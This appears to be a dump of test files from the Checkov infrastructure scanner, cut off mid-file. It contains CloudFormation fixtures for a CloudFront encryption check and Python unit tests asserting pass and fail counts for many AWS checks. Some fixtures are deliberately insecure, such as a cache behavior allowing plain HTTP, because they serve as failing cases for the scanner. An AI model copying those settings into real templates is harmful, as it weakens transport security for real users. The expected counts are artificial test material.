CloudFrontOriginAccessIdentity: Type: 'AWS::CloudFront::CloudFrontOriginAccessIdentity' Properties: CloudFrontOriginAccessIdentityConfig: Comment: !Ref S3Bucket sampleApplication: Type: AWS::ElasticBeanstalk::Application Properties: Description: AWS Elastic Beanstalk Sample Application sampleApplicationVersion: Type: AWS::ElasticBeanstalk::ApplicationVersion Properties: ApplicationName: Ref: sampleApplication Description: AWS ElasticBeanstalk Sample Application Version SourceBundle: S3Bucket: !Sub "elasticbeanstalk-samples-${AWS::Region}" S3Key: php-newsample-app.zip sampleConfigurationTemplate: Type: AWS::ElasticBeanstalk::ConfigurationTemplate Properties: ApplicationName: Ref: sampleApplication Description: AWS ElasticBeanstalk Sample Configuration Template OptionSettings: - Namespace: aws:autoscaling:asg OptionName: MinSize Value: '2' - Namespace: aws:autoscaling:asg OptionName: MaxSize Value: '6' - Namespace: aws:elasticbeanstalk:environment OptionName: EnvironmentType Value: LoadBalanced SolutionStackName: solution-stack sampleEnvironment: Type: AWS::ElasticBeanstalk::Environment Properties: ApplicationName: Ref: sampleApplication Description: AWS ElasticBeanstalk Sample Environment TemplateName: Ref: sampleConfigurationTemplate VersionLabel: Ref: sampleApplicationVersion CloudFrontDistribution: Type: 'AWS::CloudFront::Distribution' Properties: DistributionConfig: CustomErrorResponses: - ErrorCode: 403 # not found ResponseCode: 404 ResponsePagePath: '/404.html' DefaultCacheBehavior: AllowedMethods: - GET - HEAD - OPTIONS CachedMethods: - GET - HEAD - OPTIONS Compress: true DefaultTTL: 3600 # in seconds ForwardedValues: Cookies: Forward: none QueryString: false # MinTTL/MaxTTL in seconds MaxTTL: 86400 MinTTL: 60 TargetOriginId: s3origin #ViewerProtocolPolicy: 'allow-all' ViewerProtocolPolicy: 'https-only' DefaultRootObject: 'index.html' Enabled: true HttpVersion: http2 Origins: #- DomainName: !GetAtt 'S3Bucket.DomainName' - DomainName: !Sub 'http://${S3Bucket}.s3-website-us-west-2.amazonaws.com' Id: s3origin S3OriginConfig: OriginAccessIdentity: !Sub 'origin-access-identity/cloudfront/${CloudFrontOriginAccessIdentity}' - Id: customorigin DomainName: !GetAtt [sampleEnvironment, EndpointURL] CustomOriginConfig: OriginProtocolPolicy: match-viewer CacheBehaviors: - TargetOriginId: customorigin ForwardedValues: QueryString: false #ViewerProtocolPolicy: https-only ViewerProtocolPolicy: allow-all MinTTL: 500 PathPattern: '*.jpg' PriceClass: 'PriceClass_All' Outputs: BucketName: Description: 'S3 Bucket Name' Value: !Ref S3Bucket DistributionId: Description: 'CloudFront Distribution ID' Value: !Ref CloudFrontDistribution Domain: Description: 'Cloudfront Domain' Value: !GetAtt CloudFrontDistribution.DomainName ================================================ FILE: tests/cloudformation/checks/resource/aws/example_cloudfrontDistribution/CloudfrontDistributionEncryption-PASSED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: 'CloudFront multiple origins - S3 Website and Elastic Beanstalk' Parameters: S3Bucket: Type: String Description: Name of an S3 bucket to contain your website Default: 'mytestbucket' Resources: # Create the bucket to contain the website HTML #S3Bucket: # Type: 'AWS::S3::Bucket' # Properties: # BucketName: !Sub 'website-${AWS::AccountId}' # AccessControl: PublicRead # WebsiteConfiguration: # IndexDocument: index.html # ErrorDocument: 404.html # DeletionPolicy: Retain # Configure the bucket as a CloudFront Origin BucketPolicy: Type: 'AWS::S3::BucketPolicy' Properties: Bucket: !Ref S3Bucket PolicyDocument: Statement: - Action: 's3:GetObject' Effect: Allow Resource: !Sub 'arn:aws:s3:::${S3Bucket}/*' Principal: CanonicalUser: !GetAtt CloudFrontOriginAccessIdentity.S3CanonicalUserId CloudFrontOriginAccessIdentity: Type: 'AWS::CloudFront::CloudFrontOriginAccessIdentity' Properties: CloudFrontOriginAccessIdentityConfig: Comment: !Ref S3Bucket sampleApplication: Type: AWS::ElasticBeanstalk::Application Properties: Description: AWS Elastic Beanstalk Sample Application sampleApplicationVersion: Type: AWS::ElasticBeanstalk::ApplicationVersion Properties: ApplicationName: Ref: sampleApplication Description: AWS ElasticBeanstalk Sample Application Version SourceBundle: S3Bucket: !Sub "elasticbeanstalk-samples-${AWS::Region}" S3Key: php-newsample-app.zip sampleConfigurationTemplate: Type: AWS::ElasticBeanstalk::ConfigurationTemplate Properties: ApplicationName: Ref: sampleApplication Description: AWS ElasticBeanstalk Sample Configuration Template OptionSettings: - Namespace: aws:autoscaling:asg OptionName: MinSize Value: '2' - Namespace: aws:autoscaling:asg OptionName: MaxSize Value: '6' - Namespace: aws:elasticbeanstalk:environment OptionName: EnvironmentType Value: LoadBalanced SolutionStackName: solution-stack sampleEnvironment: Type: AWS::ElasticBeanstalk::Environment Properties: ApplicationName: Ref: sampleApplication Description: AWS ElasticBeanstalk Sample Environment TemplateName: Ref: sampleConfigurationTemplate VersionLabel: Ref: sampleApplicationVersion CloudFrontDistribution: Type: 'AWS::CloudFront::Distribution' Properties: DistributionConfig: CustomErrorResponses: - ErrorCode: 403 # not found ResponseCode: 404 ResponsePagePath: '/404.html' DefaultCacheBehavior: AllowedMethods: - GET - HEAD - OPTIONS CachedMethods: - GET - HEAD - OPTIONS Compress: true DefaultTTL: 3600 # in seconds ForwardedValues: Cookies: Forward: none QueryString: false # MinTTL/MaxTTL in seconds MaxTTL: 86400 MinTTL: 60 TargetOriginId: s3origin #ViewerProtocolPolicy: 'allow-all' ViewerProtocolPolicy: 'https-only' DefaultRootObject: 'index.html' Enabled: true HttpVersion: http2 Origins: #- DomainName: !GetAtt 'S3Bucket.DomainName' - DomainName: !Sub 'http://${S3Bucket}.s3-website-us-west-2.amazonaws.com' Id: s3origin S3OriginConfig: OriginAccessIdentity: !Sub 'origin-access-identity/cloudfront/${CloudFrontOriginAccessIdentity}' - Id: customorigin DomainName: !GetAtt [sampleEnvironment, EndpointURL] CustomOriginConfig: OriginProtocolPolicy: match-viewer CacheBehaviors: - TargetOriginId: customorigin ForwardedValues: QueryString: false ViewerProtocolPolicy: https-only #ViewerProtocolPolicy: allow-all MinTTL: 500 PathPattern: '*.jpg' PriceClass: 'PriceClass_All' Outputs: BucketName: Description: 'S3 Bucket Name' Value: !Ref S3Bucket DistributionId: Description: 'CloudFront Distribution ID' Value: !Ref CloudFrontDistribution Domain: Description: 'Cloudfront Domain' Value: !GetAtt CloudFrontDistribution.DomainName ================================================ FILE: tests/cloudformation/checks/resource/aws/example_cloudfrontDistribution/CloudfrontDistributionEncryption-UNKNOWN.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: 'CloudFront multiple origins - S3 Website and Elastic Beanstalk' Parameters: S3Bucket: Type: String Description: Name of an S3 bucket to contain your website Default: 'mytestbucket' Conditions: IsHttps: Fn::Equals: - !Ref S3Bucket - 'true' Resources: # Create the bucket to contain the website HTML #S3Bucket: # Type: 'AWS::S3::Bucket' # Properties: # BucketName: !Sub 'website-${AWS::AccountId}' # AccessControl: PublicRead # WebsiteConfiguration: # IndexDocument: index.html # ErrorDocument: 404.html # DeletionPolicy: Retain # Configure the bucket as a CloudFront Origin BucketPolicy: Type: 'AWS::S3::BucketPolicy' Properties: Bucket: !Ref S3Bucket PolicyDocument: Statement: - Action: 's3:GetObject' Effect: Allow Resource: !Sub 'arn:aws:s3:::${S3Bucket}/*' Principal: CanonicalUser: !GetAtt CloudFrontOriginAccessIdentity.S3CanonicalUserId CloudFrontOriginAccessIdentity: Type: 'AWS::CloudFront::CloudFrontOriginAccessIdentity' Properties: CloudFrontOriginAccessIdentityConfig: Comment: !Ref S3Bucket sampleApplication: Type: AWS::ElasticBeanstalk::Application Properties: Description: AWS Elastic Beanstalk Sample Application sampleApplicationVersion: Type: AWS::ElasticBeanstalk::ApplicationVersion Properties: ApplicationName: Ref: sampleApplication Description: AWS ElasticBeanstalk Sample Application Version SourceBundle: S3Bucket: !Sub "elasticbeanstalk-samples-${AWS::Region}" S3Key: php-newsample-app.zip sampleConfigurationTemplate: Type: AWS::ElasticBeanstalk::ConfigurationTemplate Properties: ApplicationName: Ref: sampleApplication Description: AWS ElasticBeanstalk Sample Configuration Template OptionSettings: - Namespace: aws:autoscaling:asg OptionName: MinSize Value: '2' - Namespace: aws:autoscaling:asg OptionName: MaxSize Value: '6' - Namespace: aws:elasticbeanstalk:environment OptionName: EnvironmentType Value: LoadBalanced SolutionStackName: solution-stack sampleEnvironment: Type: AWS::ElasticBeanstalk::Environment Properties: ApplicationName: Ref: sampleApplication Description: AWS ElasticBeanstalk Sample Environment TemplateName: Ref: sampleConfigurationTemplate VersionLabel: Ref: sampleApplicationVersion CloudFrontDistribution: Type: 'AWS::CloudFront::Distribution' Properties: DistributionConfig: CustomErrorResponses: - ErrorCode: 403 # not found ResponseCode: 404 ResponsePagePath: '/404.html' DefaultCacheBehavior: AllowedMethods: - GET - HEAD - OPTIONS CachedMethods: - GET - HEAD - OPTIONS Compress: true DefaultTTL: 3600 # in seconds ForwardedValues: Cookies: Forward: none QueryString: false # MinTTL/MaxTTL in seconds MaxTTL: 86400 MinTTL: 60 TargetOriginId: s3origin #ViewerProtocolPolicy: 'allow-all' ViewerProtocolPolicy: 'https-only' DefaultRootObject: 'index.html' Enabled: true HttpVersion: http2 Origins: #- DomainName: !GetAtt 'S3Bucket.DomainName' - DomainName: !Sub 'http://${S3Bucket}.s3-website-us-west-2.amazonaws.com' Id: s3origin S3OriginConfig: OriginAccessIdentity: !Sub 'origin-access-identity/cloudfront/${CloudFrontOriginAccessIdentity}' - Id: customorigin DomainName: !GetAtt [sampleEnvironment, EndpointURL] CustomOriginConfig: OriginProtocolPolicy: match-viewer CacheBehaviors: !If - IsHttps - TargetOriginId: firstoption ForwardedValues: QueryString: false ViewerProtocolPolicy: https-only #ViewerProtocolPolicy: allow-all MinTTL: 500 PathPattern: '*.jpg' - TargetOriginId: customorigin ForwardedValues: QueryString: false ViewerProtocolPolicy: https-only #ViewerProtocolPolicy: allow-all MinTTL: 500 PathPattern: '*.jpg' PriceClass: 'PriceClass_All' Outputs: BucketName: Description: 'S3 Bucket Name' Value: !Ref S3Bucket DistributionId: Description: 'CloudFront Distribution ID' Value: !Ref CloudFrontDistribution Domain: Description: 'Cloudfront Domain' Value: !GetAtt CloudFrontDistribution.DomainName ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ALBDropHttpHeaders.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ALBDropHttpHeaders import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestALBDropHttpHeaders(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ALBDropHttpHeaders" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::ElasticLoadBalancingV2::LoadBalancer.PassDefaultType", "AWS::ElasticLoadBalancingV2::LoadBalancer.PassDefaultTypeBool", "AWS::ElasticLoadBalancingV2::LoadBalancer.PassExplicitALB", "AWS::ElasticLoadBalancingV2::LoadBalancer.PassMultipleAttributes", } failing_resources = { "AWS::ElasticLoadBalancingV2::LoadBalancer.FailDefaultType", "AWS::ElasticLoadBalancingV2::LoadBalancer.FailExplicitALB", "AWS::ElasticLoadBalancingV2::LoadBalancer.FailExplicitFalse", "AWS::ElasticLoadBalancingV2::LoadBalancer.FailExplicitFalse2", "AWS::ElasticLoadBalancingV2::LoadBalancer.FailKeyNotExist", "AWS::ElasticLoadBalancingV2::LoadBalancer.FailKeyNotExist2", } # 2 Unknown resources are tested which are properly silently ignored passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 6) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ALBListenerHTTPS.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ALBListenerHTTPS import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestALBListenerHTTPS(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ALBListener" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) unknown_resource = 'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPUnknown' summary = report.get_summary() passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 7) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertNotIn(unknown_resource, passed_check_resources) self.assertNotIn(unknown_resource, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ALBListenerTLS12.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ALBListenerTLS12 import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestALBListenerTLS12(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ALBListenerTLS12" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPSPASSED1', 'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPPASSED2', 'AWS::ElasticLoadBalancingV2::Listener.ListenerTLSPASSED1', 'AWS::ElasticLoadBalancingV2::Listener.ListenerTLSPASSED2', 'AWS::ElasticLoadBalancingV2::Listener.ListenerTLSPASSED3', 'AWS::ElasticLoadBalancingV2::Listener.ListenerTCPPASSED4', 'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPSPASS13' } failing_resources = { 'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPSFAILED1', 'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPSFAILED2', 'AWS::ElasticLoadBalancingV2::Listener.ListenerTLSFAILED1', 'AWS::ElasticLoadBalancingV2::Listener.ListenerTLSFAILED2', 'AWS::ElasticLoadBalancingV2::Listener.ListenerTLSFAILED3', 'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPFAILED1' } unknown_resource = 'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPUnknown' passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], passing_resources.__len__()) self.assertEqual(summary['failed'], failing_resources.__len__()) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertNotIn(unknown_resource, passed_check_resources) self.assertNotIn(unknown_resource, failed_check_resources) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_APIGatewayAccessLogging.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.APIGatewayAccessLogging import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestAPIGatewayAccessLogging(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_APIGatewayAccessLogging" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::ApiGateway::Stage.Enabled", "AWS::Serverless::Api.Enabled", } failing_resources = { "AWS::ApiGateway::Stage.Default", "AWS::Serverless::Api.Default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_APIGatewayAuthorization.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.APIGatewayAuthorization import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestAPIGatewayAuthorization(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_APIGatewayAuthorization" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_APIGatewayCacheEnable.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.APIGatewayCacheEnable import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestAPIGatewayCacheEnable(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_APIGatewayCacheEnable" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::ApiGateway::Stage.CacheTrue", "AWS::Serverless::Api.Enabled", } failing_resources = { "AWS::ApiGateway::Stage.CacheDefault", "AWS::ApiGateway::Stage.CacheFalse", "AWS::Serverless::Api.Default", "AWS::Serverless::Api.Disabled", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 4) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_APIGatewayV2AccessLogging.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.APIGatewayV2AccessLogging import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestAPIGatewayV2AccessLogging(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_APIGatewayV2AccessLogging" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::ApiGatewayV2::Stage.Enabled", "AWS::Serverless::HttpApi.Enabled", } failing_resources = { "AWS::ApiGatewayV2::Stage.Default", "AWS::Serverless::HttpApi.Default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_APIGatewayXray.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.APIGatewayXray import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestAPIGatewayXray(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_APIGatewayXray" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::ApiGateway::Stage.Enabled", "AWS::Serverless::Api.Enabled", } failing_resources = { "AWS::ApiGateway::Stage.Default", "AWS::ApiGateway::Stage.Disabled", "AWS::Serverless::Api.Default", "AWS::Serverless::Api.Disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 4) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_AmazonMQBrokerPublicAccess.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.AmazonMQBrokerPublicAccess import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestAmazonMQBrokerPublicAccess(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_AmazonMQBrokerPublicAccess" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::AmazonMQ::Broker.PrivateBroker0", "AWS::AmazonMQ::Broker.PrivateBroker1", } failing_resources = { "AWS::AmazonMQ::Broker.PublicBroker0", "AWS::AmazonMQ::Broker.PublicBroker1", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_AppSyncFieldLevelLogs.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.AppSyncFieldLevelLogs import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestAppSyncLogging(unittest.TestCase): def test_summary(self): test_files_dir = Path(__file__).parent / "example_AppSyncFieldLevelLogs" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::AppSync::GraphQLApi.All", "AWS::AppSync::GraphQLApi.Error", } failing_resources = { "AWS::AppSync::GraphQLApi.None", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_AppSyncLogging.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.AppSyncLogging import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestAppSyncLogging(unittest.TestCase): def test_summary(self): test_files_dir = Path(__file__).parent / "example_AppSyncLogging" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::AppSync::GraphQLApi.Enabled", } failing_resources = { "AWS::AppSync::GraphQLApi.Default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_AthenaWorkgroupConfiguration.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.AthenaWorkgroupConfiguration import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestAthenaWorkgroupConfiguration(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) # There is some internal conflicts on "Tags" in the Athena WG Docs. And corresponding specs. # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-athena-workgroup.html # This may mean that the "Tags" in this test data needs to correspondingly change when CF / CF Lint are updated in the future. # CF Lint Issue: https://github.com/aws-cloudformation/cfn-python-lint/issues/1577 test_files_dir = current_dir + "/example_AthenaWorkgroupConfiguration" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_AuroraEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.AuroraEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestAuroraEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_AuroraEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_BackupVaultEncrypted.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.BackupVaultEncrypted import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestBackupVaultEncrypted(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_BackupVaultEncrypted" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::Backup::BackupVault.Pass", } failing_resources = { "AWS::Backup::BackupVault.Fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_BedrockAgentEncrypted.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.BedrockAgentEncrypted import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestBedrockAgentEncrypted(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_BedrockAgentEncrypted" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::Bedrock::Agent.Pass", } failing_resources = { "AWS::Bedrock::Agent.Fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudFrontTLS12.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.CloudFrontTLS12 import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestCloudFrontTLS12(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_CloudFrontTLS12" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'AWS::CloudFront::Distribution.cloudfrontdistributionPASSED1', 'AWS::CloudFront::Distribution.cloudfrontdistributionPASSED2', 'AWS::CloudFront::Distribution.cloudfrontdistributionPASSED3', 'AWS::CloudFront::Distribution.cloudfrontdistributionPASSED4' } failing_resources = { 'AWS::CloudFront::Distribution.cloudfrontdistributionFAILED1', 'AWS::CloudFront::Distribution.cloudfrontdistributionFAILED2', 'AWS::CloudFront::Distribution.cloudfrontdistributionFAILED3', } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_CloudWatchLogGroupKMSKey.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.CloudWatchLogGroupKMSKey import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestCloudWatchLogGroupKMSKey(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_CloudWatchLogGroupKMSKey" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources 